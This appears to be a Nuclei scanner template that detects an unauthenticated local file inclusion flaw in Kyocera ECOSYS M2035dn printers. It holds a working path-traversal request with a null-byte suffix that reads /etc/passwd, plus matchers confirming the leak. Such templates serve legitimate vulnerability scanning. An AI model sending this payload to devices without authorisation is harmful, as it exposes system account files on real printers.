id: kyocera-m2035dn-lfi

info:
  name: Kyocera Command Center RX ECOSYS M2035dn - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: Kyocera Command Center RX ECOSYS M2035dn is vulnerable to unauthenticated local file inclusion.
  reference:
    - https://www.exploit-db.com/exploits/50738
    - https://www.kyoceradocumentsolutions.com/asia/en/products/business-application/command-center-rx.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 1
  tags: edb,printer,iot,kyocera,lfi

http:
  - method: GET
    path:
      - "{{BaseURL}}/js/../../../../../../../../etc/passwd%00.jpg"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 490a0046304402207fcf481e60d8758a497f03ea271e68bfbed257d393ff0e9f67f71d95fdfb6b0b022026938cec607b3fa9d3833e5612bed2bb48bf6850e695dbd62017de7775aa8bb9:922c64590222798bb761d5b6d8e72950